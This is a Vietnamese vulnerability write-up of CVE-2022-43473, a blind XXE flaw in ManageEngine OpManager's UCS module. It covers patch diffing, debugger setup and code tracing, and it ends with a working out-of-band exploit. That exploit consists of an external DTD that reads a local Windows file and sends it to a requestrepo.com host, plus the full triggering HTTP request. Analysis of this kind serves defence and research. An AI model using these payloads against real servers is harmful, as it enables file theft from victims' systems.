###### tags: `CVE`, `ManageEngine`, `XXE`, `java` # Phân tích CVE-2022-43473 ManageEngine OpManager ## 1. Tổng quan về lỗ hổng https://www.manageengine.com/itom/advisory/cve-2022-43473.html ![](https://hackmd.io/_uploads/ByaBmWVPh.png) Lỗi hổng XXE xuất hiện ở UCS module, lỗi này tồn tại ở version < 126141, nên mình sẽ down 2 bản là 126141 và 126140 về để thực hiện diff Link download: https://archives3.manageengine.com/opmanager/ Ta cần tải 2 version bị lỗi và đã vá để diff Sau khi cài đặt xong, ta tiến hành lấy tất cả file jar ra để diff > find . -type f -name "*.jar" | zip jars.zip -@ Sau đó sử dụng idea64.exe để diff các file jar > idea64.exe diff "/path/directory1" "/path/directory2" Ảnh khi diff ![](https://hackmd.io/_uploads/rkZFUzNP3.png) Có khá nhiều code đã được thay đổi, nhưng ta tập trung OpManagerServerClasses.jar, vì nó xử lí code chính của OpManager Tìm đến UCS module, ta thấy có 2 class được thay đổi là UCSDeviceUtil.class và UCSLoginHandler.class ![](https://hackmd.io/_uploads/HyG-vMVDn.png) Ở hàm **getDetails()** của version bị lỗi thì nó xử dụng **XmlUtil.createDocument(this.ucsTemplateFile);** còn ở bản vá thì sử dụng **XmlUtil.getSafeDocumentBuilder().parse(this.ucsTemplateFile);** ![](https://hackmd.io/_uploads/S1Y5wM4wh.png) ![](https://hackmd.io/_uploads/rJj7uzVPh.png) Nên khả năng cao là bug tồn tại ở hàm **createDocument()** ## 2. Setup debug Để hiểu rõ hơn flow code thì mình thực hiện setup remote debug Để enable debug trong OpManager, ta tìm đến đường dẫn sau **\OpManager\conf\wrapper.conf** Sau đó uncomment chỗ debbuging là được ![](https://hackmd.io/_uploads/Hk6g3fEvh.png) Tiếp đến load project vào Inteliji để debug, load thư mục classes vào. ![](https://hackmd.io/_uploads/HJ1qNU4P3.png) Set up remote debug trong inteliji ![](https://hackmd.io/_uploads/HyO3N8Nvh.png) Nhớ setup đúng port với port trong file wrapper.conf Đặt break point mà thấy như này là setup debug thành công ![](https://hackmd.io/_uploads/H19WS8EPh.png) ## 3. Phân tích lỗ hổng hàm **getDetail()** ```java= public Document getDetails(String deviceName, String protocol, Integer port, String inputXml) throws Exception { InputStream in = null; HttpURLConnection conn = null; Document var13; try { String collectMachineName = APIUtil.getInstance().getPollUsing(deviceName, true); if (collectMachineName == null) { collectMachineName = OpManagerDBUtil.getInstance().getDNSName(deviceName); } OpManagerLogger.printLog(3, "[UCSDeviceUtil]:: deviceName: " + deviceName + "protocol:" + protocol + "port:" + port); if (protocol.equalsIgnoreCase("https")) { this.setTrustManager(); } String urlAddress = protocol.toLowerCase() + "://" + collectMachineName + ":" + port + "/nuova"; URL url = new URL(urlAddress); conn = (HttpURLConnection)url.openConnection(); conn.setRequestMethod("POST"); conn.setDoOutput(true); conn.setRequestProperty("content-type", "application/x-www-form-urlencoded"); conn.setReadTimeout(25000); OutputStream out = conn.getOutputStream(); out.write(inputXml.getBytes()); conn.connect(); out.close(); int status = conn.getResponseCode(); if (!protocol.equalsIgnoreCase("https") && status != 200 && (status == 302 || status == 301 || status == 303)) { OpManagerLogger.printLog(3, "HTTP TO HTTPS REDIRECTION !!!!!!!! "); String newUrl = conn.getHeaderField("Location"); this.setTrustManager(); conn = (HttpURLConnection)(new URL(newUrl)).openConnection(); conn.setRequestMethod("POST"); conn.setDoOutput(true); conn.setRequestProperty("content-type", "application/x-www-form-urlencoded"); out = conn.getOutputStream(); out.write(inputXml.getBytes()); out.close(); } in = conn.getInputStream(); Document doc = XmlUtil.createDocument(in, false); var13 = doc; } finally { if (in != null) { in.close(); } if (conn != null) { conn.disconnect(); } } return var13; } ``` Đoạn code trên ta thấy nếu như ta kiểm soát được các tham số truyền vào của hàm getDetail() thì server sẽ thực hiện một POST request đến server của ta. Xong nó sẽ thực hiện lấy ouput. Sau đó gọi đến hàm **XmlUtil.createDocument(in,false)** hàm **createDocument()** ![](https://hackmd.io/_uploads/Syk588Nvn.png) Ta thấy hàm này tồn tại bug XXE, vì mặc định **DocumentBuilderFactory** class nó cho phép parse các external entities,load external dtd ... dẫn đến bị khai thác bug xxe Giờ ta đã biết lỗ hổng tồn tại, cũng như là sink của cve này. Giờ việc còn lại là tìm source. Thì source của chain này nằm ở endpoint `http://host/apiclient/ember/index.jsp#/Settings/Discovery/AddUCS/AddCredential` ở tính năng add UCS ![](https://hackmd.io/_uploads/H1tLkPEDh.png) Vậy là ta đã đủ dữ kiện của bug này, việc còn lại là exploit XXE Trong cve này thì nó là blind xxe, vì vậy ta ko thể lấy được output thông qua response. Mà cần sử dụng kĩ thuật OOB. Đầu tiên host 1 file để server load 1 external dtd. ```xml= <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data SYSTEM "http://8n66fro7.requestrepo.com/"> <data>&send;</data> ``` Nội dung của file dtd ```xml= <!ENTITY % file SYSTEM "file:///c:/windows/a.txt"> <!ENTITY % all "<!ENTITY send SYSTEM 'http://8n66fro7.requestrepo.com/?%file;'>"> %all; ``` Đọc nội dung file trên máy nạn nhân sau đó gửi đến server của attacker Request trigger XXE ``` POST /client/api/json/discovery/addDevice HTTP/1.1 Host: desktop-9qrotni:8060 Content-Length: 96 Accept: */* X-ZCSRF-TOKEN: opmcsrftoken=a7def700a90b14e380e6f7bfc428b0b28e893ee842f67f54752c16927ae52db562b0b8dea9c7cf2bfd9f28f376861b47f69e0401767b364b59632021226c8e97 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://desktop-9qrotni:8060 Referer: http://desktop-9qrotni:8060/apiclient/ember/index.jsp Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: f2RedirectUrl=http%3A%2F%2Fdesktop-9qrotni%3A8060%2Fapiclient%2Fember%2Findex.jsp%23%2FHome%2FDashboard%2FOverview%2Fdashboard.name.enterprisedashboard; signInAutomatically=true; CountryName=VIET+NAM; JSESSIONID=3C7BA74232D93E858F29AECE1B605F2E; NFA__SSO=A5CF55CFB9207E4BF23F313ED942CA8D; opmcsrfcookie=a7def700a90b14e380e6f7bfc428b0b28e893ee842f67f54752c16927ae52db562b0b8dea9c7cf2bfd9f28f376861b47f69e0401767b364b59632021226c8e97; _zcsr_tmp=a7def700a90b14e380e6f7bfc428b0b28e893ee842f67f54752c16927ae52db562b0b8dea9c7cf2bfd9f28f376861b47f69e0401767b364b59632021226c8e97 Connection: close deviceName=02k8tyaq.requestrepo.com&netmask=255.255.255.0&credentialName=test5&addDeviceType=UCS ``` Ta thấy nội dung của file a.txt đã được gửi đến server của attacker ![](https://hackmd.io/_uploads/rJuR9OEv3.png) ![](https://hackmd.io/_uploads/BJxi9O4Ph.png)